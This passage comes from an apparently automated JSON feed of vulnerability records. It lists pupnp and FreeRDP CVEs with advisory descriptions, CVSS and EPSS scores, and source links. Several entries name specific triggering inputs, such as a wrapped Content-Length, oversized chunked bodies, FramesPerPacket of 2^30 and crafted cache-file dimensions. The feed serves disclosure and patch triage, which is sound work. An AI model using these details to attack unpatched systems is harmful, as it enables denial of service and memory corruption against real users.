and GENA SUBSCRIBE CALLBACK headers handled by create_url_list in upnp/src/gena/gena_device.c. A remote unauthenticated peer can choose a slow or nonresponsive hostname and block a bounded miniserver worker for the resolver timeout, allowing a small number of requests to exhaust the thread pool and deny UPnP service. This issue is fixed in 22.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:21:03.187Z","updatedAt":"2026-10-20T19:36:35.460Z","regions":["Global"],"vendor":"pupnp project","product":"pupnp","stacks":["Pupnp Project","pupnp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77630","asOf":"2026-10-20T19:36:35.460Z"},"epss":{"probability":0.0034,"percentile":0.27279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77630&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77630","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77630","type":"primary","publishedAt":"2026-10-16T16:21:03.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pupnp/pupnp/security/advisories/GHSA-46ph-jff5-5h77","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77630&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77630, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57488","cveId":"CVE-2026-57488","aliases":[],"kind":"vulnerability","title":"pupnp is an SDK for development of UPnP device and control point applications.","summary":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, raw_to_int in upnp/src/genlib/net/http/httpparser.c parses Content-Length with strtol and casts the resulting long to a 32-bit int before the caller stores it as unsigned int. On LP64 systems, values greater than INT_MAX can truncate or wrap, so the HTTP parser can accept a body length different from the declared value. A remote adjacent-network peer can use the resulting parser disagreement to leave bytes to be interpreted as another request in persistent or proxied contexts, or can make a worker wait for an extremely large body and cause denial of service. This issue is fixed in 2.0.2.","detail":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, raw_to_int in upnp/src/genlib/net/http/httpparser.c parses Content-Length with strtol and casts the resulting long to a 32-bit int before the caller stores it as unsigned int. On LP64 systems, values greater than INT_MAX can truncate or wrap, so the HTTP parser can accept a body length different from the declared value. A remote adjacent-network peer can use the resulting parser disagreement to leave bytes to be interpreted as another request in persistent or proxied contexts, or can make a worker wait for an extremely large body and cause denial of service. This issue is fixed in 2.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:44.823Z","updatedAt":"2026-10-20T19:37:12.947Z","regions":["Global"],"vendor":"pupnp project","product":"pupnp","stacks":["Pupnp Project","pupnp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57488","asOf":"2026-10-20T19:37:12.947Z"},"epss":{"probability":0.00331,"percentile":0.26044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57488&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57488","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57488","type":"primary","publishedAt":"2026-10-16T16:18:44.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pupnp/pupnp/security/advisories/GHSA-g6c2-x4r9-352g","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57488&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57488, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57487","cveId":"CVE-2026-57487","aliases":[],"kind":"vulnerability","title":"pupnp is an SDK for development of UPnP device and control point applications.","summary":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, Transfer-Encoding: chunked causes the HTTP parser in upnp/src/genlib/net/http/httpparser.c to leave parser->content_length at zero while parser_parse_chunky_entity and parser_parse_chunky_body accumulate decoded bytes in parser->msg.entity. The g_maxContentLength checks in http_RecvMessage in upnp/src/genlib/net/http/httpreadwrite.c therefore reject oversized numeric Content-Length bodies but do not enforce the same limit on decoded chunked bodies. A remote peer that can reach a SOAP, GENA, miniserver, or control-point HTTP response path can make the process buffer an entity larger than the configured maximum, causing resource exhaustion and denial of service. This issue is fixed in 2.0.2.","detail":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, Transfer-Encoding: chunked causes the HTTP parser in upnp/src/genlib/net/http/httpparser.c to leave parser->content_length at zero while parser_parse_chunky_entity and parser_parse_chunky_body accumulate decoded bytes in parser->msg.entity. The g_maxContentLength checks in http_RecvMessage in upnp/src/genlib/net/http/httpreadwrite.c therefore reject oversized numeric Content-Length bodies but do not enforce the same limit on decoded chunked bodies. A remote peer that can reach a SOAP, GENA, miniserver, or control-point HTTP response path can make the process buffer an entity larger than the configured maximum, causing resource exhaustion and denial of service. This issue is fixed in 2.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:44.663Z","updatedAt":"2026-10-23T16:07:21.000Z","regions":["Global"],"vendor":"pupnp project","product":"pupnp","stacks":["Pupnp Project","pupnp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57487","asOf":"2026-10-23T16:07:21.000Z"},"epss":{"probability":0.0041,"percentile":0.34924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57487&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57487","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57487","type":"primary","publishedAt":"2026-10-16T16:18:44.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pupnp/pupnp/security/advisories/GHSA-gcj7-j9f7-q84c","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57487&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57487, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57486","cveId":"CVE-2026-57486","aliases":[],"kind":"vulnerability","title":"pupnp is an SDK for development of UPnP device and control point applications.","summary":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, ixmlNode_compare in ixml/src/node.c passes the nullable nodeValue, namespaceURI, prefix, and localName fields directly to strcmp. Non-namespaced attributes created by ixmlDocument_createAttribute legitimately leave those fields NULL. When ixmlElement_removeAttributeNode compares two distinct attribute objects with the same nodeName through find_condition_node, the pointer-identity shortcut does not apply and the comparison dereferences NULL, causing a process crash when application handling of attacker-controlled XML reaches this path. This issue is fixed in 2.0.2.","detail":"pupnp is an SDK for development of UPnP device and control point applications. Prior to 2.0.2, ixmlNode_compare in ixml/src/node.c passes the nullable nodeValue, namespaceURI, prefix, and localName fields directly to strcmp. Non-namespaced attributes created by ixmlDocument_createAttribute legitimately leave those fields NULL. When ixmlElement_removeAttributeNode compares two distinct attribute objects with the same nodeName through find_condition_node, the pointer-identity shortcut does not apply and the comparison dereferences NULL, causing a process crash when application handling of attacker-controlled XML reaches this path. This issue is fixed in 2.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:44.510Z","updatedAt":"2026-10-23T16:07:55.893Z","regions":["Global"],"vendor":"pupnp project","product":"pupnp","stacks":["Pupnp Project","pupnp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57486","asOf":"2026-10-23T16:07:55.893Z"},"epss":{"probability":0.0041,"percentile":0.34924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57486","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57486","type":"primary","publishedAt":"2026-10-16T16:18:44.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/pupnp/pupnp/security/advisories/GHSA-q54q-vx78-v9rq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111382","cveId":"CVE-2026-111382","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to...","summary":"FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to corrupt client memory. Attackers can send RDPGFX AVC444 or AVC444v2 frames with odd-height region rects ending at surface height to write past U/V planes, enabling heap corruption and potential code execution.","detail":"FreeRDP before 3.32.0 contains a client-side heap out-of-bounds write vulnerability in general_LumaToYUV444 and general_ChromaV2ToYUV444 that allows malicious RDP servers to corrupt client memory. Attackers can send RDPGFX AVC444 or AVC444v2 frames with odd-height region rects ending at surface height to write past U/V planes, enabling heap corruption and potential code execution.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:05.400Z","updatedAt":"2026-10-20T15:33:45.323Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111382","asOf":"2026-10-20T15:33:45.323Z"},"epss":{"probability":0.00384,"percentile":0.32189,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111382","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111382","type":"primary","publishedAt":"2026-10-16T03:18:05.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f4pf-pgp4-f2r3","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111381","cveId":"CVE-2026-111381","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in...","summary":"FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in bitmap size calculation. Attackers can craft a persistent cache v2 file with oversized width and height values that causes mismatched entry size accounting and fixed 16 KiB reads, leading to crashes or code execution when loaded.","detail":"FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v2 that allows local attackers to corrupt heap memory via integer wraparound in bitmap size calculation. Attackers can craft a persistent cache v2 file with oversized width and height values that causes mismatched entry size accounting and fixed 16 KiB reads, leading to crashes or code execution when loaded.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:05.267Z","updatedAt":"2026-10-20T15:34:27.763Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111381","asOf":"2026-10-20T15:34:27.763Z"},"epss":{"probability":0.00176,"percentile":0.07033,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111381&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111381","type":"primary","publishedAt":"2026-10-16T03:18:05.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-26cc-wjh8-hjw6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111381&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111381, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111380","cveId":"CVE-2026-111380","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket...","summary":"FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket * 2 * nChannels in UINT32 arithmetic, bypassing the CVE-2026-91962 fix. A malicious RDP server can send FramesPerPacket of 2^30 in the audin Open PDU to wrap the multiplication, causing undersized AudioQueueAllocateBuffer allocations and a heap out-of-bounds write in macOS and iOS clients.","detail":"FreeRDP from 3.29.0 before 3.32.0 contains an integer overflow in the Apple audin backends (audin_mac.m, audin_ios.m), which compute the audio queue buffer size as FramesPerPacket * 2 * nChannels in UINT32 arithmetic, bypassing the CVE-2026-91962 fix. A malicious RDP server can send FramesPerPacket of 2^30 in the audin Open PDU to wrap the multiplication, causing undersized AudioQueueAllocateBuffer allocations and a heap out-of-bounds write in macOS and iOS clients.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:05.123Z","updatedAt":"2026-10-21T03:17:18.237Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111380","asOf":"2026-10-21T03:17:18.237Z"},"epss":{"probability":0.00319,"percentile":0.24641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111380","type":"primary","publishedAt":"2026-10-16T03:18:05.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-72qv-gcph-rfwf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111379","cveId":"CVE-2026-111379","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3...","summary":"FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3 persistent cache file. Attackers can set large width and height values that wrap the size calculation in persist_cache_get_data, causing fread to overflow an undersized buffer and potentially execute code.","detail":"FreeRDP before 3.32.0 contains a heap buffer overflow vulnerability in persistent_cache_read_entry_v3 that allows local attackers to corrupt memory by supplying a crafted v3 persistent cache file. Attackers can set large width and height values that wrap the size calculation in persist_cache_get_data, causing fread to overflow an undersized buffer and potentially execute code.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:04.980Z","updatedAt":"2026-10-20T15:34:45.170Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111379","asOf":"2026-10-20T15:34:45.170Z"},"epss":{"probability":0.00191,"percentile":0.08698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111379","type":"primary","publishedAt":"2026-10-16T03:18:04.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-945c-qq5h-jqwp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111378","cveId":"CVE-2026-111378","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory.","summary":"FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory. Attackers can complete TLS and stream bytes not beginning with the DER SEQUENCE tag 0x30, causing unbounded receive buffer growth before NLA authentication.","detail":"FreeRDP from 3.0.0 before 3.32.0 contains an uncontrolled resource consumption vulnerability in parse_nla_mode_pdu that allows unauthenticated attackers to exhaust server memory. Attackers can complete TLS and stream bytes not beginning with the DER SEQUENCE tag 0x30, causing unbounded receive buffer growth before NLA authentication.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:04.850Z","updatedAt":"2026-10-20T15:34:51.100Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111378","asOf":"2026-10-20T15:34:51.100Z"},"epss":{"probability":0.00515,"percentile":0.43611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111378&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111378","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111378","type":"primary","publishedAt":"2026-10-16T03:18:04.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-qpfh-m9w6-xf2x","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111378&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111378, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111377","cveId":"CVE-2026-111377","aliases":[],"kind":"vulnerability","title":"FreeRDP from 2.0.0 before 